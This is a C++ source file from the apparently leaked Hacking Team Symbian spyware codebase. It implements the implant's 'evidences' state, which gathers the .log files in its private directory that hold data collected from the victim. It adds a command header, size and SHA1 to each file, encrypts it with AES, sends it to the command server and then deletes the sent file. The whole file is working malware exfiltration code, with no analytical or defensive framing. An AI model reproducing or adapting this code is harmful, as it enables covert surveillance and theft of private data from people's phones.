hackedteam/core-symbian

/*
 * StateEvidences.cpp
 *
 *  Created on: 16/feb/2011
 *      Author: Giovanna
 */

#include "StateEvidences.h"
#include "Keys.h"

#include <HT\AES.h>
#include <HT\FileUtils.h>
#include <HT\ShaUtils.h>
#include <HT\RESTUtils.h>

CStateEvidences::CStateEvidences(MStateObserver& aObserver) :
    CAbstractState(EState_Evidences, aObserver)
    {
    // No implementation required
    }

CStateEvidences::~CStateEvidences()
    {
    delete iRequestData;
    delete iResponseData;
    iFileList.ResetAndDestroy();
    iFileList.Close();
    iFs.Close();
    }

CStateEvidences* CStateEvidences::NewLC(MStateObserver& aObserver)
    {
    CStateEvidences* self = new (ELeave) CStateEvidences(aObserver);
    CleanupStack::PushL(self);
    self->ConstructL();
    return self;
    }

CStateEvidences* CStateEvidences::NewL(MStateObserver& aObserver)
    {
    CStateEvidences* self = CStateEvidences::NewLC(aObserver);
    CleanupStack::Pop(); // self;
    return self;
    }

void CStateEvidences::ConstructL()
    {
    iState = EInitState;
    User::LeaveIfError(iFs.Connect());
    }

void CStateEvidences::ActivateL(const TDesC8& aData)
    {
    iSignKey.Copy(aData);
    
    if (iState != EInitState)
        {
        // Log File has been sent. 
        // Delete the LogFile and remove it from the array
        HBufC* fileName = iFileList[0];
        iFs.Delete(*fileName);
        delete fileName;
        iFileList.Remove(0);
        }
    else
        {
        //this is the first run
        TFullName path;
        FileUtils::CompleteWithPrivatePathL(iFs, path);
        path.Append(_L("*.log"));
        FileUtils::ListFilesInDirectoryL(iFs, path, iFileList);
        
        iState = ESendLogData;
        }
    // Check if there exists log files...
    if (iFileList.Count() == 0)
        {
        iObserver.ChangeStateL();
        return;
        }
    //send evidence
    //here we are sure we don't need anymore the answer
    delete iResponseData;
    iResponseData = NULL;
    
    CBufBase* buffer = CBufFlat::NewL(10);
    CleanupStack::PushL(buffer);
    //append command
    buffer->InsertL(buffer->Size(),(TUint8 *)KProto_Log().Ptr(),KProto_Log().Size());
    //append size
    HBufC* fileName = iFileList[0];
    TUint32 fileSize = FileUtils::GetFileSize(iFs, *fileName);
    buffer->InsertL(buffer->Size(),&fileSize,sizeof(fileSize));
    HBufC8* plainBody = buffer->Ptr(0).AllocL();
    CleanupStack::PopAndDestroy(buffer);
    TInt plainBodySize = plainBody->Size();
    plainBody = plainBody->ReAllocL(plainBodySize+fileSize+20); //20=sha
    if(plainBody==NULL)
        {
        iObserver.ReConnect();
        return;
        }
    //append file
    //RBuf8 fileBuf(FileUtils::ReadFileContentsL(iFs, *fileName));
    //fileBuf.CleanupClosePushL();
    HBufC8* fileBuf = FileUtils::ReadFileContentsL(iFs,*fileName);
    if(fileBuf==NULL)
        {
        iObserver.ReConnect();
        return;
        }
    plainBody->Des().Append(*fileBuf);
    delete fileBuf;
    //CleanupStack::PopAndDestroy(&fileBuf);
    // calculate SHA1
    TBuf8<20> sha;
    ShaUtils::CreateSha(*plainBody,sha);
    //append SHA1
    plainBody->Des().Append(sha);
                    
    // encrypt an send
    RBuf8 buff(AES::EncryptPkcs5L(*plainBody, KIV, iSignKey));
    if(buff.Size()<=0)
        {
        delete plainBody;
        iObserver.ReConnect();
        return;
        }
    buff.CleanupClosePushL();
    delete plainBody;
    //add REST header
    HBufC8* header = iObserver.GetRequestHeaderL();
    TBuf8<32> contentLengthLine;
    contentLengthLine.Append(KContentLength);
    contentLengthLine.AppendNum(buff.Size());
    contentLengthLine.Append(KNewLine);
    delete iRequestData;  
    iRequestData = NULL;
    TRAPD(error,(iRequestData = HBufC8::NewL(header->Size()+contentLengthLine.Size()+KNewLine().Size()+buff.Size())));
    if(error != KErrNone)
        {
        delete header;
        CleanupStack::PopAndDestroy(&buff);
        iObserver.ReConnect();
        return;
        }
    iRequestData->Des().Append(*header);
    delete header;
    iRequestData->Des().Append(contentLengthLine);
    iRequestData->Des().Append(KNewLine);
    iRequestData->Des().Append(buff);
    CleanupStack::PopAndDestroy(&buff);
    TRAPD(err,iObserver.SendStateDataL(*iRequestData));
    if(err != KErrNone)
        {
        iObserver.ReConnect();
        }
    }


void CStateEvidences::ProcessDataL(const TDesC8& aData)
    {
    //free resources
    delete iRequestData;
    iRequestData = NULL;
    
    //this is a response from server
    if(aData.Size()!=0)
        {
        if(iResponseData == NULL)
            {
            iResponseData = aData.AllocL();
            }
        else
            {
            TInt size = iResponseData->Size();
            iResponseData = iResponseData->ReAllocL(size+aData.Size()); //TODO:check this
            iResponseData->Des().Append(aData);
            }
        return;
        }
        
    if(iResponseData->Find(KApplicationOS)==KErrNotFound)
        {
        //server answered with a redirect
        iObserver.ResponseError(KErrContent);
        return;
        }
    //extract body from response
    RBuf8 body(CRestUtils::GetBodyL(*iResponseData));
    body.CleanupClosePushL();
    delete iResponseData;   
    iResponseData = NULL;
    //decrypt    
    RBuf8 plainBody(AES::DecryptPkcs5L(body,KIV,iSignKey));
    CleanupStack::PopAndDestroy(&body);
    plainBody.CleanupClosePushL();
    
    //check sha1
    if(!ShaUtils::ValidateSha(plainBody.Left(plainBody.Size()-20),plainBody.Right(20)))
        {
        CleanupStack::PopAndDestroy(&plainBody);
        iObserver.ResponseError(KErrSha);
        return;
        }
    //check response
    if(plainBody.Left(4).Compare(KProto_Ok) != 0)
        {
        CleanupStack::PopAndDestroy(&plainBody);
        iObserver.ResponseError(KErrNotOk);
        return;
        }
    CleanupStack::PopAndDestroy(&plainBody);
    
    iObserver.ReConnect();
        
    }